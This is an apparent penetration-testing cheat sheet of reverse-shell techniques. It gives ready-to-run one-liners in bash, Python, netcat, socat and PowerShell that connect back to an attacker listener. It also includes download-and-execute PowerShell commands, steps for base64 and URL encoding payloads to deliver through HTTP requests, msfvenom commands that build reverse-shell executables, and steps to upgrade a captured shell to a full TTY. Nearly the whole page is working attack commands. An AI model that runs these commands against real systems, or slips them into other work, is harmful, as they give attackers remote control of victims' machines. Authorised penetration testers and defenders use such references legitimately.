Reverse Shells
Jump to…
Shell Variants
Bash
TCP
# Listener
nc -nvlp 4444
# Victim
bash -i >& /dev/tcp/<listener_ip>/4444 0>&1
UDP
# Listener
nc -u -lvp 4444
# Victim
sh -i >& /dev/udp/<listener_ip>/4444 0>&1
Python
# Listener
nc -nvlp 4444
# Victim
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<listener_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
PowerShell
Nishang provides a wide variety of reverse shell options depending on what type of protocol you’re looking for (including ICMP).
In each of the reverse shells there are usage examples, and typically the easiest way to work with them is to make a copy of the ps1 and add the desired execution as a line at the end of the file so that executing the script will get you a shell in 1 line. For example, at the end adding:
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
via HTTP
If you have command execution and an available outbound TCP port from the victim back to your box, then simply hosting the ps1 on a local webserver and performing IEX IWR will likely be sufficient. For example:
powershell "IEX((New-Object Net.WebClient).downloadString('http://<listener_ip>:<port>/Invoke-PowerShellTcp.ps1'))" # PowerShell 2
powershell "IEX(IWR('http://<listener_ip>:<port>/Invoke-PowerShellTcp.ps1'))"
via copy/paste or URL base64-encoded
Based on IppSec’s Minon video
First, base64 encode the file using powershell on Kali. Don’t forget to encode as UTF-16 for windows!
cat Invoke-PowerShellIcmp.ps1 | iconv -t utf-16le > encoded.ps1.b64
xxd encoded.ps1.b64 # Just to verify encoding
Or you can do the same thing using Kali’s instance of PowerShell
$RevShell = Get-Content ./Invoke-PowerShellIcmp.ps1 -raw
$bytes = [System.Text.Encoding]::Unicode.GetBytes($RevShell)
$Encoded = [Convert]::ToBase64String($bytes)
$Encoded | Out-File encoded.ps1.b64
Verify the encoded payload by decoding it real quick.
$Decode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Encoded))
If you need to break the string up into smaller segments, use fold
:
fold -w 120 encoded.ps1.b64 > encoded.lines.ps1.b64
If this is going over a HTTP request, don’t forget to URL encode as well!
grep \+ encoded.lines.ps1.b64 # Does it have + characters?
sed -i 's/+/%2b/g' encoded.lines.ps1.b64 # URL encode + characters
sed -i 's/=/%3d/g' encoded.lines.ps1.b64 # URL encode = characters
sed -i 's/\//%2f/g' encoded.lines.ps1.b64 # URL encode / characters
netcat
Listener
nc -nvlp <port>
Target
# Linux
nc -e /bin/sh <listener_ip> <port>
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <listener_ip> <port> >/tmp/f
# Windows
nc64.exe -e cmd.exe <listener_ip> <port>
nc64.exe -e powershell <listener_ip> <port>
Resources:
- Windows
msfvenom
If you can execute commands and download a file on the target, then msfvenom
can build you a reverse shell.
Using shell_reverse_tcp
for the respective platform will allow the reverse shell to be caught by nc
.
WARNING: This is very likely to be spotted by anti-virus if present.
A few common ones:
# Linux (unstaged)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf -o rshell.elf # 64-bit
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf -o rshell.elf # 32-bit
# Windows (unstaged)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f exe > rshell.exe # 64-bit
msfvenom -p windows/shell_reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f exe > rshell.exe # 32-bit
To list all payload options:
msfvenom --list payloads
Upgrade Your Shell
Once you have a shell, you’ll often need to upgrade it to be a fully interactive TTY shell.
Python pty module
The easiest way to do that is if python (or python3) is present on the target.
python -c 'import pty; pty.spawn("/bin/bash")'
Once you have the upgraded shell, make it even easier on yourself by sending raw commands as well for features like tab completion.
# Background the Shell
Ctrl-Z
# On the host/Kali box
stty raw -echo # Enable raw commands
fg # Foreground the shell
# Back in the shell...
reset # reset the shell
export SHELL=bash # export SHELL if not set
export TERM=xterm-256color # export TERM if not set
stty rows <num> columns <cols> # define the tty size to match your host console size
script
script -q /dev/null
socat
If python isn’t available, the next bext option is to upload a socat binary to the target. Once uploaded, establish a new reverse shell:
# Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<listener_ip>:4444